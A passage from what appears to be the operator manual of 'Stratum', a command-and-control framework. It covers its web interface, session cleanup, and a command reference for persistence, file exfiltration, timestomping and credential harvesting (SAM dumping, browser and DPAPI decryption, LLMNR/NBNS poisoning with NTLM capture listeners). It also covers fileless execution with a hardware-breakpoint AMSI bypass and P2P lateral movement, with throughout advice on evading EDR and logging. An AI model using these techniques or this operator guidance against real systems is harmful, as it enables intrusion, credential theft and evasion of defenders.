Multiple operators can be logged in simultaneously. The WebSocket connection keeps all clients synchronized — a command sent by one operator appears in all connected clients' history. The session locking mechanism prevents two operators from sending commands to the same session simultaneously: the first operator to interact with a session holds the lock for session_lock_ttl seconds (default: 120s, configurable in server.yml).

The integrated team chat allows operators to communicate within the WebGUI without leaving the interface. Chat messages are ephemeral — they are broadcast over WebSocket to all connected operators but not persisted to disk. Chat is accessible via the chat icon in the top bar.

WebGUI · Chat panel open — 2 operators coordinating across sessions

5.6 Session Tabs

When a session is selected, the detail area expands a tab bar with six tabs. Each tab focuses on a different aspect of the session.

TabContents
ShellInteractive REPL — type any shell command or a /slash control command. Output appears inline. The prompt label reflects the target shell: $ (bash/sh), # (root), PS> (PowerShell), cmd> (CMD). Updated automatically on the first heartbeat.
HistoryFull searchable log of every command and response for this session. Includes timestamp, operator who issued each command, CMD ID, and full output. Supports keyword search. One-click ⬇ Export XLSX generates a multi-sheet Excel report (see §5.7).
ArtifactsThree sub-sections: exfiltrated files (pulled from target with /download), on-target artifacts (files written on target — agents, persistence scripts), and uploaded files (pushed with /upload). See §5.8 for the full artifact workflow.
PersistVisual overview of all persistence techniques available for this target's OS. Shows installed / not-installed / unknown status per technique with one-click install, remove, and status-check buttons.
CredentialsAuto-populated credential store. Credentials are extracted automatically from /creds harvest, /creds sam, /creds coerce, and /creds listen dump output — including NTLMv2 (from SMB and http-ntlm listeners), HTTP Basic (from http listeners), SAM hashes, shadow hashes, browser passwords, Git tokens, AWS keys + session tokens, SSH plaintext private keys (with artifact download note), Docker and WiFi credentials. Listen dump output is parsed per-section so each credential is attributed to its correct listener protocol. Column order: Source · Protocol · Host · Domain · Notes · Username · Secret · Type · Actions. The ⊕ Show button on each row opens a detail popup with the full untruncated secret in a scrollable monospace box and a Copy Secret button. Columns are resizable (drag handles, persisted in localStorage). Operators can also add entries manually. All credentials sync in real time across operators via WebSocket. Included in the XLSX export as a dedicated sheet.
ControlSession control panel: sleep interval, jitter percentage, command timeout, and /blobsave for manual hw-keyed blob management.
InfoFull session profile: all heartbeat fields (OS, host, user, IPs, PID, process, domain, CWD), deployment configuration (provider, deploy mode, folder path, channel files, session label), guardrails (kill date, active window), and version info.
WebGUI · Persist tab — probe results (Windows session, user+admin techniques)
WebGUI · Credentials tab — harvested + manual credentials (SAM, NTLMv2, passwords)
WebGUI · Control tab — sleep/jitter timing, stop agent, session teardown
WebGUI · Info tab — full session profile (identity, agent, channel, guardrails, sysinfo)
Prompt label updates live
The shell prompt label ($, #, PS>, cmd>) is derived from the process field in the heartbeat. It appears correctly after the first heartbeat and updates automatically if the agent's runtime context changes.

5.7 History & Session Logs

History tab

The History tab shows the complete command log for the session — every command issued and its full response, in reverse-chronological order. The search box filters rows in real time by any field (timestamp, operator, command text, or output).

Clicking a row opens a command detail overlay showing the full untruncated output, which is useful for long responses that are clipped in the table view.

Session log file (server-side CSV)

Every session's history is persisted server-side as a CSV file in the logs/ directory. The file is created on the first command and appended live — one row per event. The filename follows the pattern:

logs/{provider}_{folder_slug}_{session_id}.csv

CSV columns:

ColumnDescription
timestampISO-8601 timestamp in server timezone
session_id6-hex session identifier
idCommand UUID (or ARTIFACT / ARTIFACT_REMOVED for artifact events)
commandCommand text sent to agent; for artifact rows: type:path
responseAgent response text (empty on pending rows; filled on completion)
operatorUsername of the operator who issued the command

The file is append-only during the session. If the server restarts and the same session reconnects, a --- resumed --- separator row is appended so different operator runs are distinguishable in the file. Artifact events are interleaved as special rows with ARTIFACT or ARTIFACT_REMOVED as the ID — this keeps the on-target artifact state self-contained in a single file.

XLSX Export (3-sheet report)

The ⬇ Export XLSX button in the History tab generates an Excel workbook with four sheets:

SheetColumnsContents
Commands Timestamp · Session ID · CMD ID · Operator · Command · Response Full deduplicated command log (last response wins per CMD ID). The primary forensic and operational record of the session.
Artifacts Timestamp · Type · Path · Status On-target artifact state — files written on the target machine. Status is on target or removed. Derived from ARTIFACT/ARTIFACT_REMOVED rows in the session log. Essential for post-operation cleanup verification.
Uploads Timestamp · Filename · Remote Path · Size (bytes) · CMD ID · Status Files pushed to the target via /upload. Status is on target or removed (updated when operator marks deletion). Paired with the Artifacts sheet for a complete on-target footprint picture.
Credentials Timestamp · Source · Protocol · Host · Domain · Notes · Username · Secret · Type · Port · Operator All credentials collected during the session — auto-extracted from /creds command output and manually added entries. Types include NTLMv2, NTLM, password, hash, token, basic, ssh_key, cookie, and others. Source indicates how the credential was obtained (harvest, sam, listen, coerce, manual). Listener credentials are attributed to their correct protocol (smb, http, http-ntlm) based on per-section dump parsing.
Same format in History Archives
The XLSX available for download in History Archives uses the same four-sheet format, generated server-side from the CSV log, uploads record, and credentials store. The data is always current at the moment of download — no stale snapshots.

History Archives

The 📂 History Archives modal (accessible from the global top bar) lists all session log files stored on the server. These files accumulate as sessions run — one file per deployed session — and survive session deletion unless explicitly cleared during the delete flow.

Clicking any entry in the list opens a two-tab browser for that session's historical record:

  • Commands tab — searchable table identical to the History tab in the live session. Clicking a row opens the full command detail overlay.
  • Artifacts tab — on-target artifacts and uploaded files in read-only view, mirroring the live session's Artifacts tab but without action buttons.

The ⬇ download button generates and downloads the 3-sheet XLSX report on demand. The ✕ delete button (two-step confirmation) permanently removes the log file from the server.

WebGUI · History Archives — file list (modal)
WebGUI · History Archives — session detail (Commands tab)

5.8 Artifact Tracking & Post-Operations

The Artifacts tab consolidates everything the operation has touched on the target machine. It is designed to be the primary checklist for post-operation cleanup: before terminating an engagement, an operator should review all three sections and ensure all on-target material is accounted for.

WebGUI · Artifacts tab — on-target artifacts + uploaded files

Exfiltrated Files

Files pulled from the target using /download <remote-path> are saved on the operator machine under downloads/{session_id}/. Each file appears in the Exfiltrated Files table with:

  • Filename / path — toggle between filename and full remote path via the Filename/Filepath selector
  • Type — MIME type badge (image, text, binary, archive…)
  • Size and MD5 hash
  • Actions — ⬇ Download saves the file again locally; 👁 View opens an inline text preview; 🗑 Del deletes the local operator-side copy
Exfil files are operator-side only
Deleting an exfiltrated file from this list only removes the local copy on the operator machine. It has no effect on the target — the original file on the target is untouched.

On-Target Artifacts

Every file written on the target machine during the operation is tracked here. The agent reports artifact events via its heartbeat log, which the server records as ARTIFACT and ARTIFACT_REMOVED rows in the session CSV. Artifact types include:

TypeWhat it is
enc_staged_agentEncrypted stage-2 agent blob saved on target disk (staged-enc mode)
persist_*Files installed by persistence techniques (cron entries, schtask definitions, registry keys, startup scripts)
staged_fileFile staged in the cloud channel — not yet on the target filesystem
customAny path explicitly recorded by the operator for tracking purposes

Each artifact shows its type badge, full on-target path, log timestamp, and current status (on target or removed). This list is the definitive answer to the question: "what have we left on this machine?"

Uploaded Files

Files pushed to the target via /upload <local-file> <remote-path> appear in the Uploaded Files table. The agent confirms delivery and the controller records the event. Each entry shows filename, size, remote path, confirmation timestamp, and status.

Two action buttons manage the post-op record:

  • 🗑 Delete — sends a shell rm (Linux) or del (Windows) command to the agent to remove the file on target, then marks the record as removed. Requires an active session.
  • ✓ Mark as removed — updates the status to removed without sending any shell command. Use this to acknowledge files you removed manually via a shell command or through another path.

Post-Operation Cleanup Workflow

Before ending an engagement, work through this checklist using the Artifacts tab:

  1. Open the Artifacts tab and review On-Target Artifacts. For each item still marked on target, issue a shell rm/del or use a /persist remove <id> command to clean it up, then mark it as removed.
  2. Review Uploaded Files. Use the Delete button for each file to send the removal command and mark it removed.
  3. Send /kill to terminate the agent — this removes all persistence techniques, deletes the staged blob from the target disk, then terminates the process.
  4. Delete the session via the Control tab or session header — see §5.9.
/kill vs /stop
/kill runs a full cleanup sweep before exiting: removes all installed persistence, wipes the on-disk blob. /stop is a graceful shutdown with no cleanup. Use /kill at end of engagement, /stop only when you intend to resume later and the target state is already clean.

5.9 Session Delete & Deploy Cleanup

Stopping polling before delete

Before deleting a session, consider stopping the polling monitor first using the ■ Stop Poll button in the session header. This halts the heartbeat monitor thread without affecting the agent, giving you time to inspect the session or run final cleanup commands without the state updating in the background. A toast notification is sent to all connected operators when polling is stopped or resumed.

Session Delete modal

Clicking Delete Session in the Control tab opens a confirmation modal with four independent checkboxes. Each controls a different scope of deletion:

OptionWhat it deletesDefault
History logThe CSV session log file from logs/ on the server (and from History Archives)Unchecked — preserve history
Upload recordsThe uploads_{session_id}.json record file from logs/Unchecked
Downloaded filesThe downloads/{session_id}/ folder with all operator-side exfiltrated filesUnchecked
Cloud channel filesDead-drop files (input, output, heartbeat) and the entire cloud folder for this session — deleted recursively on the providerChecked — clean up cloud

The deletion streams progress events to the WebGUI in real time — each category reports ok, skip, or warn as it completes. The progress modal closes as soon as local cleanup finishes; cloud cleanup continues in the background.

Background cloud cleanup

Cloud folder deletion runs in a background thread so the operator is not blocked waiting for the agent to poll. The sequence is:

  1. KILL sent — the KILL task is written to the dead-drop input path.
  2. Local cleanup (immediate) — session removed from the manager, deployment directory, upload records, history log, and downloads deleted. The progress modal closes at this point.
  3. Wait — the background thread sleeps agent_sleep + 5 seconds. This guarantees the agent has time to poll and receive the KILL before the cloud folder is deleted. Agents with long sleep intervals (e.g. 1h30m) hold the thread for the full cycle — the operator remains unblocked during this time.
  4. Cloud delete — output file, heartbeat file, and the entire session folder are deleted from the provider.
  5. Notification — a session.wipe_done WebSocket message is broadcast to all operators. The session row is removed from the list and a toast confirms success or reports the error.

Wiping badge

While the background thread is running, the session row stays visible in the Session List with a pulsing ⟳ WIPING badge instead of the normal status pill. This signals to all operators that the session has been terminated locally but cloud cleanup is still in progress. The row disappears automatically when the cloud delete completes.

WebGUI · Session List — background wipe in progress (⟳ WIPING badge)
Full cloud folder deletion
The Cloud channel files option deletes not just the three dead-drop files but the entire cloud folder for this session. Deletion is recursive and provider-aware: Dropbox, OneDrive, and SharePoint use a single recursive API call; Google Drive resolves the folder's file ID then issues a DELETE /files/{id}; S3 lists all objects under the folder prefix and deletes each one (S3 has no real folders).
Preserve history for post-op review
The recommended default is to leave History log and Upload records unchecked so the session history remains accessible in History Archives after the session is gone. You can always delete the logs later from the Archives modal if needed.

Total deploy deletion

Deleting a session removes it from the live session list but does not remove the deployment package (keys, binaries, guide) from the deployments/ directory on the server. To fully remove a deployment:

  1. Delete the session with Cloud channel files enabled (recursively deletes the cloud folder and all its contents)
  2. Open 📦 Tradecraft and delete the corresponding deployment package

Deleting the Tradecraft package removes the RSA private key for that session from the server. Once deleted, encrypted past responses cannot be decrypted — this is a one-way operation. Do this only after all relevant data has been extracted and saved locally.

Key deletion is permanent
Deleting a Tradecraft package irrecoverably destroys the session's RSA private key. Past encrypted responses stored in the cloud (if any remain) can never be decrypted again. Download and archive everything you need before deleting the package.

Remote stop commands

/stop    — graceful shutdown: agent finishes any pending command, then exits cleanly
/kill    — cleanup + shutdown: removes persistence, wipes blob from disk, then exits

Both commands are asynchronous — the agent picks them up on its next checkin cycle. After sending /kill or /stop, the session will go IDLE then DEAD as the heartbeat stops. Delete the session after the status reaches DEAD to confirm the agent is no longer running.

5.10 Settings & Notifications

Settings panel

The ⚙ Settings icon in the top bar opens a modal with four tabs.

TabContents
Credentials Change the current operator's password. Enter the new password twice and confirm. The change takes effect immediately — no re-login required. Other operators are not affected.
Display Theme selector: choose between built-in themes (Dark, Midnight, Red, Matrix) or define a custom accent color. The theme is stored per-browser and applied instantly with no reload. The About sub-panel shows version and build information.
Server Server-wide timezone configuration. A live preview clock shows the current time in the selected timezone before applying. Clicking Apply Timezone updates the server timezone immediately — all timestamps in the WebGUI (session history, heartbeat times, the navbar clock) switch to the new zone in real time across all connected operators via WebSocket, no page reload needed.
Operators Shows all currently connected operators with their connection status. The server enforces one WebSocket connection per username — a second login from the same account displaces the first.
WebGUI · Settings — tab Server (timezone)
WebGUI · Settings — tab Display (themes)

Themes

Four built-in themes are available, each optimized for different operational environments:

ThemeAccentBest for
DarkDeep redDefault — neutral dark background, red accent
MidnightBlueLow-eye-strain for long sessions
RedBright redHigh contrast, alert-heavy operations
MatrixGreenMonochrome green on black

A custom accent color can be set to any hex color — the full UI palette derives from the accent automatically.

Notification system

Stratum uses two notification layers: toast notifications (bottom-right corner, auto-dismiss after a few seconds) and real-time WebSocket state updates (applied silently to the UI).

Toast notifications are sent to other operators — not the operator who triggered the event — for the following events:

EventToast message
Operator connects"<name> is online"
Operator disconnects"<name> went offline"
Polling paused on a session"Polling stopped — <session> by <operator>"
Polling resumed on a session"Polling resumed — <session> by <operator>"
Server timezone changed"Timezone changed to <zone> by <operator>" + live clock update
Background wipe complete"Wipe complete (waited Xs)" — sent to all operators when cloud cleanup finishes
Background wipe error"Wipe error — <detail>" — sent to all operators if cloud delete fails

Session state changes (new heartbeat, status change, new command, session added/removed) are propagated to all operators as silent WebSocket updates — the session list and detail panel update automatically without any notification toast.

Timezone update propagates instantly
When the server timezone is changed via Settings → Server, a server.timezone WebSocket message is broadcast to all connected operators. Each client immediately updates the navbar clock, all displayed timestamps in session history, and the live heartbeat age calculations — all without a page reload.

6Command Reference

6.1 Shell Pass-Through

Any input in the session REPL that does not begin with / is treated as a shell command. The controller wraps it with the current working directory context and sends it to the agent, which evaluates it as native shell code — eval in Bash on Linux, Invoke-Expression in PowerShell on Windows. stdout and stderr are captured and returned together.

Supported shell syntax: all native shell constructs work as expected.

# Pipes and filters
ps aux | grep python | awk '{print $2}'
cat /etc/passwd | cut -d: -f1 | sort

# Redirections
ls -la /tmp > /tmp/listing.txt
curl -s http://internal-api/data 2>/dev/null

# Command chaining
id && whoami && hostname
mkdir /tmp/.work && cd /tmp/.work

# Variable expansion and substitution
echo "running as $(whoami) on $(hostname)"

# Windows equivalents
dir C:\Users | findstr /i "admin"
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name,CPU

Working directory persistence: the session tracks the current working directory across commands. A cd command updates the CWD for all subsequent commands in that session, exactly like a persistent shell.

cd /var/www/html
ls -la              # runs in /var/www/html
cat config.php      # still in /var/www/html

# Windows
cd C:\Users\jdoe\AppData\Local
dir                 # runs in the new path

Quoting: quote paths with spaces normally — the shell interprets quoting exactly as it would locally.

ls "/home/user/My Documents"
Get-Content 'C:\Program Files\App\config.ini'
Shell pass-through is not interactive
The shell is not a PTY — there is no interactive session. Each command is a one-shot execution. Commands that require interactive input (like sudo prompting for a password, vi, ssh) will hang until the command timeout expires. Use explicit non-interactive flags (sudo -n, echo "pass" | sudo -S) or the built-in slash commands instead.

6.2 Session Management Commands

/statusFull session status: host, user, OS, IPs, PID, sleep, domain, privileges, last heartbeat
/sleep <seconds>Change agent beacon interval. Takes effect on next poll cycle.
/jitter <percent>Change jitter percentage (0–50). Takes effect on next poll cycle.
/sysinfoForce a fresh system info collection: hostname, user, OS, IPs, domain, privileges.
/stopGraceful agent shutdown. Agent cleans up in-memory state and exits. Persistence mechanisms remain installed.
/killFull cleanup: remove all persistence techniques, delete all tracked artifacts, wipe memory, exit. Leaves the target in a clean state.

6.3 Persistence Commands

/persist probeNon-destructive check of all persistence techniques. Shows which are feasible at current privilege level.
/persist probe <id>Probe one specific technique by ID.
/persist install <id>Install a specific technique. Use technique IDs from the probe output.
/persist remove <id>Remove a specific installed technique and its artifacts.
/persist statusReport all currently installed techniques and their active state.
/persist status <id>Status of one specific technique (is it still active? artifact paths?).

Technique IDs

IDOSPrivilegeTrigger
cron-rebootLinuxUser@reboot
systemd-userLinuxUserLogon
systemd-systemLinuxRootBoot
rc-localLinuxRootBoot
cron-systemLinuxRootPeriodic
schtask-logonWindowsUserLogon
registry-runWindowsUserLogon
startup-folderWindowsUserLogon
schtask-bootWindowsAdminBoot
registry-run-hklmWindowsAdminLogon
wmi-eventWindowsAdminBoot (EventCode 6005)
serviceWindowsAdminBoot

6.4 File Operations

/download <remote-path>Download a file from the target. Agent reads the file and uploads it to {folder}/staging/out/. Available in the Downloads tab of the session.
/upload <local-path> <remote-path>Upload a file to the target. File is staged at {folder}/staging/in/, agent fetches and writes to remote-path.
/artifactsList all files tracked by the session (dropped binaries, config files). Shows path, SHA-256, and type.
/timestomp <path> <ref-path>Copy the timestamps (Created, Modified, Accessed) of ref-path onto path. Use when you want the target file to blend with an existing reference file on the same host.
/timestomp_set <path> <ISO-timestamp>Set all timestamps of path to an explicit absolute date-time (ISO-8601, e.g. 2024-03-15T09:00:00). Use when you want to match a specific known time rather than an existing reference file.
/exfil <glob-pattern>Bulk file exfiltration by glob pattern (e.g. /exfil C:\Users\*\Documents\*.docx). Agent walks matching paths and stages all files to the cloud staging area. Files appear in the Downloads tab.

6.5 Tradecraft Commands

/blobsaveManually trigger the agent to write (or refresh) the hw-keyed ddb blob to disk. Useful after a config change or if the blob was deleted. The blob allows cold restarts without a cloud fetch.
/poll/stopPause the server-side heartbeat polling for this session (no network activity from the server side).
/poll/resumeResume heartbeat polling after /poll/stop.

6.6 Credential Harvesting

The /creds family collects credential material from the target for offline cracking or lateral movement. It is designed for the Stratum use-case: grab what you need to re-establish access, then exfiltrate through the cloud channel.

Agent support: Rust native + PowerShell only
The /creds module requires binary protocol capabilities (SMB2/NTLMSSP, ASN.1/DER, AES-GCM) that the bash agent cannot provide. Deploy the Rust native agent for full cross-platform credential harvesting (Linux + Windows), or the PowerShell agent for Windows-only coverage. The bash agent will return ERROR: unknown task type for any /creds command. See §3.5 for the complete feature parity matrix and implementation-level differences between Rust and PS1.
/creds harvestSmart credential harvesting with inline decryption where OPSEC-safe. Firefox passwords are decrypted in-memory (no DPAPI calls, zero monitored APIs) — if a Firefox master password is set, logins.json + key4.db are staged for offline cracking with firefox_decrypt + hashcat. Cloud credentials (AWS, Azure, GCloud, Docker, Kube) are parsed and displayed inline. SSH keys are classified as encrypted/plaintext. Windows: FileZilla credentials (sitemanager.xml/recentservers.xml), mRemoteNG connections (confCons.xml, staged for offline decrypt with default key mR3m), PowerShell history secrets grep (ConsoleHost_history.txt), unattend/sysprep XML files (staged if containing passwords), Git credentials. Linux: /etc/shadow hashes (root), NetworkManager WiFi keys, Kerberos ccache metadata, GNOME Keyring, SSSD cache, bash/zsh history secrets grep. Files that cannot be decrypted on-target (DPAPI blobs, master keys, Chrome v20, Vault) are staged with human-readable names — decrypt offline with mimikatz dpapi:: or DPAPImk2john using the user's password or domain backup key. After the Summary line, contextual Hints are printed based on what was found — offline cracking workflows for Firefox master password (hashcat -m 26100), DPAPI blobs (mimikatz/DPAPImk2john), Chrome/Edge (DPAPI key extraction), mRemoteNG (default key mR3m, AES-GCM PBKDF2-SHA1), unattend.xml (base64-encoded passwords), and a reminder to try /creds harvest decrypt when running without the decrypt flag.
/creds harvest decryptOPSEC↑ — Also attempts Chrome/Edge password decryption via CryptUnprotectData (DPAPI) and DPAPI credential blob decryption. Works for Chrome v10 passwords (pre-ABE) and same-session DPAPI blobs. Higher detection risk: EDR solutions may hook CryptUnprotectData and generate Event ID 16385 (DPAPI Activity). Use in low-monitoring windows.
/creds coerceActive credential capture via forced authentication. Windows: triggers local named-pipe coercion (SpoolSample / EfsRpc) to capture the machine account NTLMv2 hash. Linux: enumerates accessible SSH agent sockets and lists loaded keys (usable for agent hijacking).
/creds samIn-memory SAM hash extraction (Windows only, requires SYSTEM). Reads bootkey from SYSTEM registry class names and decrypts SAM user hashes entirely in memory via RegOpenKeyExW + RegQueryMultipleValuesW with REG_OPTION_BACKUP_RESTORE. Zero child processes, zero files on disk, zero flagged command lines. Output in user:RID:lm_hash:nt_hash::: format.
/creds listen start [proto:port]Start a credential listener. Supports smb:445 (NTLMv2 via SMB), http:80 (plaintext credentials via HTTP Basic auth), http-ntlm:80 (NTLMv2 via HTTP NTLM negotiation). Multiple listeners can run simultaneously on different proto:port combinations. LLMNR/NBNS poisoners auto-start with the first listener and stop with the last. Default: smb:445.
/creds listen stop [proto:port]Stop listeners. Without arguments: stops all listeners + poisoners. With a spec (e.g. http:80): stops only that specific listener. Poisoners stop automatically when the last listener is removed.
/creds listen dumpRetrieve all captured credentials from all active listeners. Shows per-listener breakdown (NTLMv2 count + Basic auth count), uptime, and raw credential lines. NTLMv2 output is in hashcat -m 5600 format. Also reports LLMNR/NBNS poisoner response counts. Includes per-IP visit tracking: total visits across all listener types, per-IP breakdown sorted by frequency (most active first), and IP-to-credential association showing which IPs submitted credentials and which only visited without authenticating.

Listener Protocol Details

ProtocolSyntaxCapturesUse Case
SMB/creds listen start smb:445NTLMv2 hashesCoerced auth, file share access, pass-the-hash relay
HTTP Basic/creds listen start http:80Plaintext user:passCredential phishing, API key capture, curl/wget/script auth
HTTP NTLM/creds listen start http-ntlm:80NTLMv2 hashesBrowser auto-auth (Intranet zone), phishing links, WPAD

The http listener sends a 401 Unauthorized with only WWW-Authenticate: Basic, forcing the browser to show a login prompt and send credentials as Base64-encoded user:pass — plaintext capture. The http-ntlm listener advertises WWW-Authenticate: Negotiate, NTLM, and Basic. The Negotiate header triggers automatic Intranet Zone authentication — Windows browsers (Chrome, Edge) send NTLMv2 credentials silently when the server hostname is in the Intranet Zone (e.g., *.domain.local or single-label hostnames like http://fileserver/). Zero-click, no popup. For cross-subnet capture, the http-ntlm listener serves a WebDAV trap page with embedded UNC paths (\\IP@80\docs\logo.png) that trigger the Windows WebClient service to authenticate via NTLM on the same HTTP port — no SMB:445 needed. Authorization: Negotiate tokens are parsed for both raw NTLMSSP and SPNEGO-wrapped payloads (SPNEGO/NTLMSSP unwrapping). All listener types perform per-IP visit tracking: each connection is logged by source IP, and /creds listen dump shows total visits, per-IP breakdown sorted by frequency, and IP-to-credential association.

Credential Harvesting — Platform Matrix

SourceWindowsLinuxPrivilege
Firefox passwords (decrypted inline)✓✓User
Chrome/Edge passwords (decrypt)✓—User
DPAPI blobs & master keys✓—User
SSH keys & config—✓User
Kerberos ccache—✓User
Cloud credentials (AWS/Azure/GCP/Docker/Kube)—✓User
WiFi profiles (cleartext keys)✓✓ (root)User / Root
Windows Vault✓—User
GNOME Keyring—✓User
SAM hashes (in-memory)✓—SYSTEM
SMB/HTTP listener (NTLMv2)✓✓Root (port <1024) / User (high port)
HTTP Basic listener (plaintext)✓✓Root (port <1024) / User (high port)
SSH agent hijack—✓User (same UID) / Root
Listener badge & persistence
When one or more listeners are active, an orange pulsing badge appears in the session header showing the listener count (or protocol if single). Click to expand and see: active protocols, start time, and credential count. This state is persistent across server reboots — the badge reappears automatically when the session is loaded. It updates in real-time as new credentials are captured via /creds listen dump. Captured credentials are auto-populated in the Credentials tab with the correct listener protocol attribution. Click the ⊕ Show button on any credential row to open a detail popup with the full secret visible and a Copy button.
OPSEC considerations
  • /creds harvest reads files and decrypts Firefox passwords using pure crypto (no Windows API hooks). Cloud creds, SSH keys, shadow hashes are passive file reads. Low detection risk.
  • /creds harvest decrypt calls CryptUnprotectData (DPAPI) — generates Event ID 16385 and may trigger EDR hooks on the DPAPI API. Use only when the risk is acceptable.
  • /creds sam reads registry keys via API with REG_OPTION_BACKUP_RESTORE — no reg.exe process, no hive files on disk, no command-line telemetry. Generates minimal registry access events (ID 4656/4663) which are typically not forwarded unless audit-object-access is explicitly enabled.
  • /creds listen start smb:445 on Windows will fail — port 445 is occupied by LanmanServer. Use http:80 (Basic), http-ntlm:80 (NTLM), or a high port like smb:8445.
  • LLMNR/NBNS poisoners respond to multicast name queries — detectable by network monitoring tools (e.g. Respounder, MDI). Use in isolated segments.
  • Multiple listeners increase the attack surface but also the detection surface — each open port is visible in netstat.
  • /creds harvest files are exfiltrated via the normal Stratum cloud channel — large dumps (browser DBs) may take multiple poll cycles.

6.7 In-Memory & Fileless Execution

These commands load and run binaries or scripts without writing anything to disk on the target. Binaries are executed in the agent's process memory; scripts are piped to the interpreter's stdin. All commands are Rust native agent only. Platform support varies per command — see the callout below.

Agent support: Rust native only
In-memory and fileless execution requires low-level memory management (VirtualAlloc, COM vtable calls, section mapping, relocation patching, stdin pipe control) that is fundamentally impossible in script interpreters. Deploy the Rust native agent for BOF, .NET assembly, PE/ELF in-memory execution, and fileless script execution. Platform support: /bof, /assembly, /assembly-amsibypass are Windows only. /memexec, /script are cross-platform (Win+Linux). /script-amsibypass is Windows PowerShell only.
/bof <file.o> [args]Execute a Beacon Object File (COFF) in-memory. The agent parses COFF headers, resolves relocations and imports, maps sections with correct permissions, and calls the entry point. Output is captured via internal output buffer. Windows only.
/assembly <file.exe> [args]Execute a .NET assembly in-memory via CLR hosting. The agent initializes the .NET CLR (v4.0.30319), creates an AppDomain, loads the assembly bytes via _AppDomain::Load_3, and invokes the entry point via _MethodInfo::Invoke_3. Console output is captured via pipe redirection with a dedicated reader thread (prevents deadlocks on large output). An embedded ConsoleReset helper rebinds Console.Out after pipe redirect. Supports passing command-line arguments as string[] args. Windows only.
/assembly-amsibypass <file.exe> [args]Same as /assembly but with a patchless AMSI bypass applied before loading the assembly. The agent sets a CPU hardware breakpoint (DR0) on AmsiScanBuffer and installs a Vectored Exception Handler. When AMSI calls AmsiScanBuffer, the CPU raises a debug exception; the VEH intercepts, sets the return value to AMSI_RESULT_CLEAN, and skips the function body. Zero VirtualProtect, zero memory writes on amsi.dll — evades Behavior:Win32/AMSI_Patch_T behavioral detections. The breakpoint is removed after execution. Use this when Defender blocks assemblies like Rubeus, Seatbelt, or SharpUp. OPSEC note: patchless — no memory modifications to amsi.dll. Breakpoint is per-execution, not persistent.
/memexec <file> [args]Execute a native binary entirely in-memory — nothing written to disk. Windows: reflective PE loading — maps sections, applies relocations, resolves imports, calls entry point. Linux: memfd_create + execve — creates an anonymous file descriptor in memory, writes ELF bytes, executes via /proc/self/fd/N. Cross-platform (Win+Linux), Rust native agent only.
/script <file> [interpreter]Execute a script entirely fileless. The script is staged in the cloud provider, downloaded to agent memory, and piped to the interpreter's stdin — nothing is written to disk. Interpreter auto-detection: .ps1 or hint ps1 → PowerShell; .bat/.cmd or hint cmd → CMD; shebang #!/bin/bash → bash; shebang #!/usr/bin/python or hint python → python3; default → PowerShell on Windows, /bin/sh on Linux. The optional second argument overrides auto-detection: ps1, cmd, bash, python, sh. Windows processes run with CREATE_NO_WINDOW. Cross-platform.
/script-amsibypass <file> [interpreter]Same as /script but with patchless AMSI bypass: sets a CPU hardware breakpoint (DR0) on AmsiScanBuffer + Vectored Exception Handler before spawning PowerShell. The VEH intercepts AMSI scan calls and returns AMSI_RESULT_CLEAN without modifying any memory in amsi.dll. Evades Behavior:Win32/AMSI_Patch_T detections. Breakpoint removed after execution. Windows PowerShell only — on Linux the AMSI flag is ignored and the script runs normally.

In-Memory & Fileless Execution — OPSEC Matrix

CommandPlatformDisk ArtifactsProcess CreationAPI Hooks RiskNotes
/bofWinNoneNoneLowCOFF runs in agent process space
/assemblyWinNoneNoneMediumCLR hosting + AMSI scan by default. Defender may block known tools
/assembly-amsibypassWinNoneNoneLow-MediumHW breakpoint (DR0) + VEH — patchless, no VirtualProtect on amsi.dll. SetThreadContext theoretically observable via ETW-TI but not flagged by current AV/EDR
/memexecWin+LinuxNoneNone (Win) / Child (Linux)LowWin: reflective PE in-process. Linux: memfd_create + execve
/scriptWin+LinuxNoneInterpreter processMediumStdin pipe — clean cmd line. Win: AMSI + Script Block Logging inspect content
/script-amsibypassWin (PS)Nonepowershell.exeLow-MediumHW breakpoint (DR0) + VEH — patchless, no VirtualProtect on amsi.dll. SBL 4104 still captures script content if Script Block Logging enabled

6.8 Lateral Movement — P2P Mesh

Agents can form a peer-to-peer mesh network where traffic is relayed through parent nodes back to the C2 server. This enables communication with agents that cannot reach the cloud directly (air-gapped segments, internal VLANs). Two transport types are supported: TCP and SMB named pipes.

/p2p listen tcp <port>Start a TCP P2P listener on the specified port. Other agents can link to this listener to form a parent-child mesh relationship. All C2 traffic from linked children is relayed through this agent back to the server.
/p2p listen smb [pipe-name]Start an SMB named-pipe P2P listener (Windows only). Default pipe name is a random UUID. Other agents link by connecting to the pipe. Traffic is relayed over the named pipe to the C2 server.
/p2p listen stopStop all P2P listeners on this agent. Existing linked children are not disconnected but will be unable to re-establish the link if the connection drops.
/p2p link tcp <host:port>Link to a TCP P2P listener. This agent becomes a child of the target agent. All C2 traffic is routed through the parent — the child no longer communicates directly with the cloud provider.
/p2p link smb <target-ip> [pipe-name]Link to an SMB named-pipe listener on the target IP. Cross-platform: Windows uses native Win32 API, Linux uses a pure Rust SMB2 userspace client (NTLMSSP anonymous auth, IPC$ tree connect, named pipe I/O). Default pipe name: stratum.
/p2p unlink <guid>Unlink a P2P child by its session GUID. The child agent becomes orphaned and loses its route to the C2 server until re-linked to another parent.

P2P Transport Matrix

TransportListener PlatformClient PlatformDefault Port/PipeUse Case
TCPLinux + WindowsLinux + WindowsAny portGeneral mesh, cross-platform
SMBWindows onlyLinux + Windows\\.\pipe\stratumBlend with SMB traffic, named-pipe covert channel

WebUI — Graph View

The Graph button in the top toolbar toggles the P2P topology visualizer. It replaces the session table with an interactive force-directed graph that renders every agent as a node and every P2P link as an edge.

  • Node types — each session is drawn as a circle. A green ring indicates an alive session, amber for idle, grey for dead. The node label shows the session ID and hostname.
  • Edge types — TCP links are drawn as solid lines, SMB links as dashed lines, and cloud (dead-drop) links as dotted lines. Each edge is color-coded by transport.
  • Tooltip — hovering a node displays session details: user, host, OS, internal/external IP, provider, and P2P role (parent/child/standalone).
  • Legend — a collapsible legend in the top-left corner maps colors and line styles to transport types and node states.
  • Empty state — when no P2P links exist, the graph area displays an informational message with a quick-start guide for establishing the first mesh link.
Graph interaction
Nodes can be dragged to rearrange the layout. The graph auto-updates in real time via WebSocket — new links, unlinks, and session state changes are reflected immediately without page refresh.

6.9 Lateral Movement — Jump Modules

Jump modules combine deployment and P2P linking into a single command. Deploy a new agent on a remote target and automatically establish a P2P link back to the current agent.

